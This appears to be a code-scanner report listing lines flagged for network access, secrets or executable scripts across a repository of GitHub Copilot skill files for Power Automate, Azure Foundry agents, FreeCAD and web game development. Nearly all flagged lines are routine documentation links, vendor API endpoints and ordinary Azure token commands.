"method": "GET", "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName", "headers": { - Network accessline 344
"uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName", - Network accessline 349
"authentication": { "type": "ActiveDirectoryOAuth", "authority": "https://login.microsoftonline.com", - Network accessline 350
"type": "ActiveDirectoryOAuth", "authority": "https://login.microsoftonline.com", "tenant": "<tenant-id>", - Network accessline 351
"authority": "https://login.microsoftonline.com", - Network accessline 352
"tenant": "<tenant-id>", "audience": "https://graph.microsoft.com", "clientId": "<app-registration-id>", - Network accessline 353
"audience": "https://graph.microsoft.com", - Network accessline 429
"inputs": { "method": "POST", "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>", - Network accessline 430
"method": "POST", "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>", "headers": { "Content-Type" - Network accessline 431
"uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",
harness/github-copilot/skills/flowstudio-power-automate-build/references/build-patterns.md
harness/github-copilot/skills/flowstudio-power-automate-build/references/flow-schema.md
- Network accessline 10
{ "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", - Network accessline 11
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", - Network accessline 210
{ "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", - Network accessline 211
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
harness/github-copilot/skills/flowstudio-power-automate-build/references/trigger-types.md
- Network accessline 140
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 141
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 142
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 146
"body": { "notificationUrl": "@listCallbackUrl()" }, "queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 147
"queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 148
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 170
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 171
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 172
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 176
"body": { "notificationUrl": "@listCallbackUrl()" }, "queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 177
"queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 178
"dataset": "https://mytenant.sharepoint.com/sites/mysite",
harness/github-copilot/skills/flowstudio-power-automate-debug/SKILL.md
- Network accessline 21
- A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app - Network accessline 22
- Use `https://mcp.flowstudio.app/mcp`, `MCP_URL`, `MCP_TOKEN`, and a valid `YOUR_JWT_TOKEN`; never commit the token. - Access to secretsline 72
[Credential-related source omitted] - Network accessline 134
- [FlowStudio MCP subscription](https://mcp.flowstudio.app) - Network accessline 135
- [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp) - Network accessline 136
- [Expression error in child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md) - Network accessline 137
- [Data entry, not a flow bug](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md) - Network accessline 138
- [Null value crashes child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md)
harness/github-copilot/skills/flowstudio-power-automate-governance/SKILL.md
- Network accessline 4
Govern Power Automate flows and Power Apps at scale with the FlowStudio MCP cached store by classifying business impact, detecting orphaned resources, auditing connectors, enforcing compliance metadata, configuring notification rules, and c - Network accessline 5
metadata: source: "https://mcp.flowstudio.app." --- - Network accessline 6
source: "https://mcp.flowstudio.app." - Network accessline 23
- Requires FlowStudio for Teams or MCP Pro+ because `store_*` tools require a paid cached-store subscription. If the first `store_*` call returns 403 or 404, stop store calls, tell the user governance features require Pro+ access, and point - Network accessline 134
- [ ] Existing `tags` are read before appended tags are written. - [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported wit - Network accessline 135
- [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing - [ ] The report distinguish - Network accessline 136
- [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing - Network accessline 141
- [FlowStudio MCP](https://mcp.flowstudio.app.) - Network accessline 142
- [FlowStudio pricing](https://mcp.flowstudio.app/pricing)
harness/github-copilot/skills/flowstudio-power-automate-mcp/SKILL.md
- Network accessline 21
- Requires a FlowStudio MCP subscription or compatible Power Automate MCP server: https://mcp.flowstudio.app. - Network accessline 22
- MCP endpoint: `https://mcp.flowstudio.app/mcp`. - Network accessline 82
Use Python with `urllib.request` when you want a dependency-free helper. Use Node.js 18+ when the repository is JavaScript or TypeScript and native `fetch`, `JSON.stringify`, and `JSON.parse` fit the stack. Avoid PowerShell for flow operati - Network accessline 89
[Credential-related source omitted] - Network accessline 90
MCP = "https://mcp.flowstudio.app/mcp" - Network accessline 93
payload = {"jsonrpc": "2.0", "method": "tools/call", "id": cid, "params": {"name": tool, "arguments": args}} req = urllib.request.Request(MCP, data=json.dumps(payload).encode(), - Network accessline 94
[Credential-related source omitted] - Network accessline 95
req = urllib.request.Request(MCP, data=json.dumps(payload).encode(), - Network accessline 97
"User-Agent": "FlowStudio-MCP/1.0"}) try: resp = urllib.request.urlopen(req, timeout=120) - Network accessline 98
try: resp = urllib.request.urlopen(req, timeout=120) except urllib.error.HTTPError as e: - Network accessline 99
resp = urllib.request.urlopen(req, timeout=120) - Network accessline 113
[Credential-related source omitted] - Network accessline 114
const MCP = "https://mcp.flowstudio.app/mcp"; - Network accessline 121
params: { name: tool, arguments: args }, }; const res = await fetch(MCP, { - Network accessline 122
}; const res = await fetch(MCP, { method: "POST", - Network accessline 123
const res = await fetch(MCP, { - Network accessline 158
| Symptom | Likely cause | Resolution | | --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | - Network accessline 159
| --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | | HTTP `400` | Malformed JSON-RPC payload. | Check `Cont - Network accessline 160
| HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | - Network accessline 223
**Status:** connected | needs auth | blocked **Endpoint:** `https://mcp.flowstudio.app/mcp` - Network accessline 224
**Endpoint:** `https://mcp.flowstudio.app/mcp` - Network accessline 243
- [ ] The MCP endpoint is `https://mcp.flowstudio.app/mcp`. - Network accessline 252
- FlowStudio MCP: https://mcp.flowstudio.app - Network accessline 253
- FlowStudio MCP endpoint: https://mcp.flowstudio.app/mcp - Network accessline 254
- FlowStudio MCP subscription page: https://mcp.flowstudio.app. - Network accessline 255
- Expression error in child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md - Network accessline 256
- Data entry, not a flow bug: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md - Network accessline 257
- Null value crashes child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md
harness/github-copilot/skills/flowstudio-power-automate-mcp/references/MCP-BOOTSTRAP.md
- Network accessline 6
Endpoint: https://mcp.flowstudio.app/mcp
harness/github-copilot/skills/flowstudio-power-automate-monitoring/SKILL.md
- Network accessline 26
> 1. STOP calling store tools > 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing - Network accessline 27
> 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing > 4. If their question can be answered with live tools (e.g. "list flows in - Network accessline 28
> 3. Link them to https://mcp.flowstudio.app/pricing - Network accessline 59
**Enabling monitoring:** Set `monitor: true` via `update_store_flow` or the Flow Studio for Teams app ([how to select flows](https://learn.flowstudio.app/teams-monitoring)). - Network accessline 61
([how to select flows](https://learn.flowstudio.app/teams-monitoring)). - Network accessline 124
"state": "Started", "triggerType": "Request", "triggerUrl": "https://{example-url}", - Network accessline 125
"triggerType": "Request", "triggerUrl": "https://{example-url}", "tags": ["#operations", "#sensitive"], - Network accessline 126
"triggerUrl": "https://{example-url}", - Network accessline 400
- [ ] `name` is `flowstudio-power-automate-monitoring` and matches the parent directory. - [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing . - Network accessline 401
- [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing . - Network accessline 410
- [FlowStudio pricing](https://mcp.flowstudio.app/pricing) - Network accessline 411
- [Flow Studio Teams monitoring](https://learn.flowstudio.app/teams-monitoring)
harness/github-copilot/skills/foundry-agent-sync/SKILL.md
- Network accessline 55
2. Locate `infra/scripts/sync-foundry-agents.ps1` or `foundry-agent-sync.sh`; scaffold the PowerShell script when missing and adapt `$AgentNamePrefix`, `$ModelName`, and `$ManifestPath`. 3. Collect Foundry project endpoint, subscription ID, - Network accessline 56
3. Collect Foundry project endpoint, subscription ID, model deployment name, and agent name prefix. Default model can be `gpt-5-4`; default prefix can be repo name in kebab-case. 4. Authenticate and sync with a token for `https://ai.azure.c - Network accessline 57
4. Authenticate and sync with a token for `https://ai.azure.com/`. - Network accessline 74
| Script path | Canonical path is `infra/scripts/sync-foundry-agents.ps1`, adapted to repository layout. | | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-p - Network accessline 75
| Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-preview'`. | | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o - Network accessline 76
| Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o tsv`. | - Network accessline 84
For bash in `Microsoft.Resources/deploymentScripts`, authenticate with `az login --identity --username "$CLIENT_ID"`, acquire the token with `az account get-access-token --resource https://ai.azure.com/`, iterate definitions from `FOUNDRY_A - Network accessline 114
| Symptom | Cause | Resolution | | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | - Network accessline 115
| --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | | `403 Forbidden` | Missing Azure AI User role. | Assign the role on the Foundry project - Network accessline 116
| `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | - Network accessline 142
### Commands - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - Network accessline 143
- `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - `<sync script command>` - Network accessline 144
- `az account get-access-token --resource https://ai.azure.com/` - Network accessline 153
- [ ] Manifest exists or was scaffolded with `useCaseId`, `description`, and `baseInstruction`. - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the - Network accessline 154
- [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the token is not printed. - [ ] Agent names are built from `{prefix}-{useCaseId}`. - Network accessline 155
- [ ] Token audience is `https://ai.azure.com/` and the token is not printed.
harness/github-copilot/skills/foundry-hosted-agent-copilotkit/SKILL.md
- Network accessline 53
| Build generative UI | Return compact model-consumable data, not rich formatting. | Render rich content in `useRenderToolCall` or the CopilotKit render map. | Confirm rendering while streaming and after stream end. | | Share agent state | - Network accessline 55
| Debug stream failures | `curl -N` the AG-UI endpoint with a minimal `RunAgentInput` body. | Inspect browser console and network after backend stream is proven good. | Compare raw SSE events with rendered UI state. |
harness/github-copilot/skills/foundry-hosted-agent-copilotkit/references/architecture.md
- Network accessline 62
- **Architecture A/B**: run the FastAPI/ASP.NET service directly; point the CopilotKit runtime's `HttpAgent` at `http://localhost:<port>/`. - Network accessline 84
- Token audience is `https://ai.azure.com/.default` — the default `cognitiveservices.azure.com` scope yields 401 "audience is incorrect". - Keyless (Entra / `DefaultAzureCredential`) is the norm; the async Python credential path needs `aioh
harness/github-copilot/skills/foundry-hosted-agent-copilotkit/references/deploy-loop.md
- Network accessline 41
Deploy the AG-UI endpoint (Architecture A/C service, or rely on the hosted invocations endpoint for B) where the CopilotKit runtime can reach it server-side; set the runtime's agent URL env var accordingly. Keep auth keyless (Entra) with th
harness/github-copilot/skills/foundry-hosted-agent-copilotkit/references/hitl.md
- Network accessline 24
**`.NET`** uses a different mechanism than Python's wrapper flag: wrap the tool in `ApprovalRequiredAIFunction`, then wrap the *agent* in a `DelegatingAIAgent` that bridges approval content to/from the `request_approval` client tool call (t - Network accessline 105
**Root cause (isolated by calling the hosted agent's bare `/responses` endpoint with curl — no AG-UI, no CopilotKit in the loop):** chaining `previous_response_id` through a response that resolved an `mcp_approval_response` makes the hosted
harness/github-copilot/skills/foundry-hosted-agent-copilotkit/references/troubleshooting.md
- Network accessline 9
1. `curl -N -X POST <agui-endpoint> -H 'Content-Type: application/json' -d '<minimal RunAgentInput>'` — read raw AG-UI SSE events. Reproduces → frontend innocent. - Network accessline 36
| Symptom | Root cause | Fix | | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | - Network accessline 37
| --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | | 403 `Microsoft.MachineLearningServices/workspaces/agents/action` despit - Network accessline 38
| 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |
harness/github-copilot/skills/freecad-scripts/SKILL.md
- Network accessline 196
- [Writing Python code](https://wiki.freecad.org/Manual:A_gentle_introduction#Writing_Python_code) - Network accessline 197
- [Manipulating FreeCAD objects](https://wiki.freecad.org/Manual:A_gentle_introduction#Manipulating_FreeCAD_objects) - Network accessline 198
- [Vectors and Placements](https://wiki.freecad.org/Manual:A_gentle_introduction#Vectors_and_Placements) - Network accessline 199
- [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry) - Network accessline 200
- [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects) - Network accessline 201
- [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools) - Network accessline 202
- [Python](https://en.wikipedia.org/wiki/Python_%28programming_language%29) - Network accessline 203
- [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python) - Network accessline 204
- [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial) - Network accessline 205
- [FreeCAD scripting basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics) - Network accessline 206
- [Gui Command](https://wiki.freecad.org/Gui_Command)
harness/github-copilot/skills/freecad-scripts/references/geometry-and-shapes.md
- Network accessline 7
- [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry) - Network accessline 8
- [Part scripting](https://wiki.freecad.org/Part_scripting) - Network accessline 9
- [Topological data scripting](https://wiki.freecad.org/Topological_data_scripting) - Network accessline 10
- [Mesh scripting](https://wiki.freecad.org/Mesh_Scripting) - Network accessline 11
- [Mesh to Part conversion](https://wiki.freecad.org/Mesh_to_Part) - Network accessline 12
- [Sketcher scripting](https://wiki.freecad.org/Sketcher_scripting) - Network accessline 13
- [Drawing API example](https://wiki.freecad.org/Drawing_API_example) - Network accessline 14
- [Part: Create a ball bearing I](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_1) - Network accessline 15
- [Part: Create a ball bearing II](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_2) - Network accessline 16
- [Line drawing function](https://wiki.freecad.org/Line_drawing_function)
harness/github-copilot/skills/freecad-scripts/references/gui-and-interface.md
- Network accessline 7
- [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools) - Network accessline 8
- [Gui Command](https://wiki.freecad.org/Gui_Command) - Network accessline 9
- [Define a command](https://wiki.freecad.org/Command) - Network accessline 10
- [PySide](https://wiki.freecad.org/PySide) - Network accessline 11
- [PySide beginner examples](https://wiki.freecad.org/PySide_Beginner_Examples) - Network accessline 12
- [PySide intermediate examples](https://wiki.freecad.org/PySide_Intermediate_Examples) - Network accessline 13
- [PySide advanced examples](https://wiki.freecad.org/PySide_Advanced_Examples) - Network accessline 14
- [PySide usage snippets](https://wiki.freecad.org/PySide_usage_snippets) - Network accessline 15
- [Interface creation](https://wiki.freecad.org/Interface_creation) - Network accessline 16
- [Dialog creation](https://wiki.freecad.org/Dialog_creation) - Network accessline 17
- [Dialog creation with various widgets](https://wiki.freecad.org/Dialog_creation_with_various_widgets) - Network accessline 18
- [Dialog creation reading and writing files](https://wiki.freecad.org/Dialog_creation_reading_and_writing_files) - Network accessline 19
- [Dialog creation setting colors](https://wiki.freecad.org/Dialog_creation_setting_colors) - Network accessline 20
- [Dialog creation image and animated GIF](https://wiki.freecad.org/Dialog_creation_image_and_animated_GIF) - Network accessline 21
- [Qt Example](https://wiki.freecad.org/Qt_Example) - Network accessline 22
- [3D view](https://wiki.freecad.org/3D_view) - Network accessline 23
- [The Coin scenegraph](https://wiki.freecad.org/Scenegraph) - Network accessline 24
- [Pivy](https://wiki.freecad.org/Pivy)
harness/github-copilot/skills/freecad-scripts/references/parametric-objects.md
- Network accessline 7
- [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects) - Network accessline 8
- [Create a FeaturePython object part I](https://wiki.freecad.org/Create_a_FeaturePython_object_part_I) - Network accessline 9
- [Create a FeaturePython object part II](https://wiki.freecad.org/Create_a_FeaturePython_object_part_II) - Network accessline 10
- [Scripted objects](https://wiki.freecad.org/Scripted_objects) - Network accessline 11
- [Scripted objects saving attributes](https://wiki.freecad.org/Scripted_objects_saving_attributes) - Network accessline 12
- [Scripted objects migration](https://wiki.freecad.org/Scripted_objects_migration) - Network accessline 13
- [Scripted objects with attachment](https://wiki.freecad.org/Scripted_objects_with_attachment) - Network accessline 14
- [Viewprovider](https://wiki.freecad.org/Viewprovider) - Network accessline 15
- [Custom icon in tree view](https://wiki.freecad.org/Custom_icon_in_tree_view) - Network accessline 16
- [Properties](https://wiki.freecad.org/Property) - Network accessline 17
- [PropertyLink: InList and OutList](https://wiki.freecad.org/PropertyLink:_InList_and_OutList) - Network accessline 18
- [FeaturePython methods](https://wiki.freecad.org/FeaturePython_methods)
harness/github-copilot/skills/freecad-scripts/references/scripting-fundamentals.md
- Network accessline 7
- [A gentle introduction](https://wiki.freecad.org/Manual:A_gentle_introduction) - Network accessline 8
- [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python) - Network accessline 9
- [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial) - Network accessline 10
- [FreeCAD Scripting Basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics) - Network accessline 11
- [Scripting and macros](https://wiki.freecad.org/Scripting_and_macros) - Network accessline 12
- [Working with macros](https://wiki.freecad.org/Macros) - Network accessline 13
- [Code snippets](https://wiki.freecad.org/Code_snippets) - Network accessline 14
- [Debugging](https://wiki.freecad.org/Debugging) - Network accessline 15
- [Profiling](https://wiki.freecad.org/Profiling) - Network accessline 16
- [Python development environment](https://wiki.freecad.org/Python_Development_Environment) - Network accessline 17
- [Extra python modules](https://wiki.freecad.org/Extra_python_modules) - Network accessline 18
- [FreeCAD vector math library](https://wiki.freecad.org/FreeCAD_vector_math_library) - Network accessline 19
- [Embedding FreeCAD](https://wiki.freecad.org/Embedding_FreeCAD) - Network accessline 20
- [Embedding FreeCADGui](https://wiki.freecad.org/Embedding_FreeCADGui) - Network accessline 21
- [Macro at startup](https://wiki.freecad.org/Macro_at_Startup) - Network accessline 22
- [How to install macros](https://wiki.freecad.org/How_to_install_macros) - Network accessline 23
- [IPython notebook integration](https://wiki.freecad.org/IPython_notebook_integration) - Network accessline 24
- [Quantity](https://wiki.freecad.org/Quantity)
harness/github-copilot/skills/freecad-scripts/references/workbenches-and-advanced.md
- Network accessline 7
- [Workbench creation](https://wiki.freecad.org/Workbench_creation) - Network accessline 8
- [Script tutorial](https://wiki.freecad.org/Scripts) - Network accessline 9
- [Macros recipes](https://wiki.freecad.org/Macros_recipes) - Network accessline 10
- [FEM scripting](https://wiki.freecad.org/FEM_Tutorial_Python) - Network accessline 11
- [Path scripting](https://wiki.freecad.org/Path_scripting) - Network accessline 12
- [Raytracing scripting](https://wiki.freecad.org/Raytracing_API_example) - Network accessline 13
- [Svg namespace](https://wiki.freecad.org/Svg_Namespace) - Network accessline 14
- [Python](https://wiki.freecad.org/Python) - Network accessline 15
- [PythonOCC](https://wiki.freecad.org/PythonOCC)
harness/github-copilot/skills/frontend-accessibility/references/wcag-2.2-aa.md
- Network accessline 3
Use the normative [WCAG 2.2 Recommendation](https://www.w3.org/TR/WCAG22/) for exact criteria and conformance language. Use the [WAI-ARIA Authoring Practices Guide](https://www.w3.org/WAI/ARIA/apg/) as non-normative design-pattern and keybo
harness/github-copilot/skills/frontend-discoverability-assets/references/icon-matrix.md
- Network accessline 15
Use `sizes="any"` only for scalable resources, as defined by the HTML link-type rules: https://html.spec.whatwg.org/multipage/links.html
harness/github-copilot/skills/frontend-discoverability-assets/references/social-metadata.md
- Network accessline 16
Source: https://ogp.me/
harness/github-copilot/skills/frontend-discoverability-assets/references/technical-seo.md
- Network accessline 23
- https://developers.google.com/search/docs/fundamentals/seo-starter-guide - Network accessline 24
- https://developers.google.com/search/docs/appearance/structured-data/intro-structured-data - Network accessline 25
- https://developers.google.com/search/docs/crawling-indexing/robots/intro - Network accessline 26
- https://developers.google.com/search/docs/crawling-indexing/sitemaps/overview
harness/github-copilot/skills/frontend-project-setup/scripts/install_companions.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/frontend-project-setup/tests/test_install_companions.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/frontend-release-quality-gate/scripts/check_traceability.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/frontend-release-quality-gate/tests/test_check_traceability.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/game-engine/assets/2d-maze-game.md
- Network accessline 5
**Source reference:** [MDN - HTML5 Gamedev Phaser Device Orientation](https://developer.mozilla.org/en-US/docs/Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation) - Network accessline 6
**Live demo:** [Cyber Orb](https://orb.enclavegames.com/) - Network accessline 7
**Source code:** [GitHub - EnclaveGames/Cyber-Orb](https://github.com/EnclaveGames/Cyber-Orb)
harness/github-copilot/skills/game-engine/assets/2d-platform-game.md
- Network accessline 9
**Source:** Based on the [Mozilla HTML5 Games Workshop - Platformer](https://mozdevs.github.io/html5-games-workshop/en/guides/platformer/start-here/). Project starter files available at the workshop repository.
harness/github-copilot/skills/game-engine/assets/gameBase-template-repo.md
- Network accessline 5
**Repository:** [github.com/deepnight/gameBase](https://github.com/deepnight/gameBase) - Network accessline 6
**Author:** [Sebastien Benard / deepnight](https://deepnight.net) - Network accessline 8
**Level editor integration:** [LDtk](https://ldtk.io) - Network accessline 228
1. **Install Haxe** (4.0+): [haxe.org](https://haxe.org/download/) - Network accessline 229
2. **Install HashLink** (for desktop target): [hashlink.haxe.org](https://hashlink.haxe.org/) - Network accessline 230
3. **Install LDtk** (for level editing): [ldtk.io](https://ldtk.io/) - Network accessline 235
# Clone the repository git clone https://github.com/deepnight/gameBase.git my-game - Network accessline 236
git clone https://github.com/deepnight/gameBase.git my-game
harness/github-copilot/skills/game-engine/assets/paddle-game-template.md
- Network accessline 9
**Source:** Based on the [MDN 2D Breakout Game Tutorial](https://developer.mozilla.org/en-US/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript).
harness/github-copilot/skills/game-engine/assets/simple-2d-engine.md
- Network accessline 5
**Source references:** - [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/) - Network accessline 6
- [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/) - Network accessline 7
- [Part 2 - Collisions](https://deepnight.net/tutorial/a-simple-platformer-engine-part-2-collisions/) - Network accessline 9
**Author:** [Sebastien Benard / deepnight](https://deepnight.net)
harness/github-copilot/skills/game-engine/references/3d-web-games.md
- Network accessline 5
Sources: [MDN Web Docs -- Games Techniques: 3D on the web](https://developer.mozilla.org/en-US/docs/Games/Techniques/3D_on_the_web) - Network accessline 99
</head> <body> <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script> - Network accessline 100
<body> <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script> <script> - Network accessline 101
<script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script> - Network accessline 197
- Use `Math.abs()` when animating scale with `Math.sin()` to avoid negative scale values. - The render loop uses `requestAnimationFrame` for smooth, browser-optimized frame updates. - Consult [Three.js documentation](https://threejs.org/doc - Network accessline 199
- Consult [Three.js documentation](https://threejs.org/docs/) for the full API. - Network accessline 210
<script src="https://cdn.babylonjs.com/v7.34.1/babylon.js"></script> - Network accessline 275
- `BABYLON.Vector3` and `BABYLON.Color3` are used extensively for positioning and coloring. - Babylon.js includes a built-in math library for vectors, colors, and matrices. - Consult [Babylon.js documentation](https://doc.babylonjs.com/) fo - Network accessline 277
- Consult [Babylon.js documentation](https://doc.babylonjs.com/) for advanced features like physics, particles, and post-processing. - Network accessline 291
<meta charset="utf-8" /> <title>A-Frame Demo</title> <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script> - Network accessline 292
<title>A-Frame Demo</title> <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script> <style> - Network accessline 293
<script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script> - Network accessline 394
- Entity-component system architecture - Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/) - Network accessline 395
- Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/) - Network accessline 403
- PlayCanvas excels for team-based game development thanks to its online editor with real-time collaboration. - The engine-only approach is lightweight and can be embedded in any web page. - Consult the [PlayCanvas developer documentation]( - Network accessline 405
- Consult the [PlayCanvas developer documentation](https://developer.playcanvas.com/) for tutorials on entities, components, cameras, lights, materials, and animations. - Network accessline 497
- Shaders run on the GPU and offload computation from the CPU, which is critical for real-time performance. - Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. - Network accessline 498
- Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. - [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration. - GL - Network accessline 499
- [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration. - Network accessline 732
- **A-Frame** -- built-in VR mode button; declarative HTML-based scenes automatically work in VR. - **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introducti - Network accessline 733
- **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introduction/How-to-create-VR-content). - Network accessline 752
- Always test on real headsets; the experience is vastly different from desktop preview. - Maintain a stable, high frame rate (72-90+ FPS) to prevent motion sickness. - Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs - Network accessline 754
- Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs/Web/API/WebXR_Device_API) for the full API reference.
harness/github-copilot/skills/game-engine/references/algorithms.md
- Network accessline 10
> Source: https://deepnight.net/tutorial/bresenham-magic-raycasting-line-of-sight-pathfinding/ - Network accessline 118
> Source: https://medium.com/@erikkubiak/dev-log-1-custom-engine-writing-my-collision-system-2a97856f9a93 - Network accessline 243
> Source: https://www.gamedev.net/tutorials/programming/math-and-physics/a-quick-lesson-in-velocity-and-speed-r6109/ - Network accessline 354
> Source: https://winter.dev/articles/physics-engine - Network accessline 551
> Source: https://www.gamedev.net/tutorials/programming/math-and-physics/vector-maths-for-game-dev-beginners-r5442/
harness/github-copilot/skills/game-engine/references/basics.md
harness/github-copilot/skills/game-engine/references/game-control-mechanisms.md
- Network accessline 507
<script src="https://unpkg.com/leapjs@0.6.4/leap-0.6.4.min.js"></script>
harness/github-copilot/skills/game-engine/references/game-engine-core-principles.md
- Network accessline 5
Source: https://www.gamedev.net/articles/programming/general-and-gameplay-programming/making-a-game-engine-core-design-principles-r3210/ - Network accessline 555
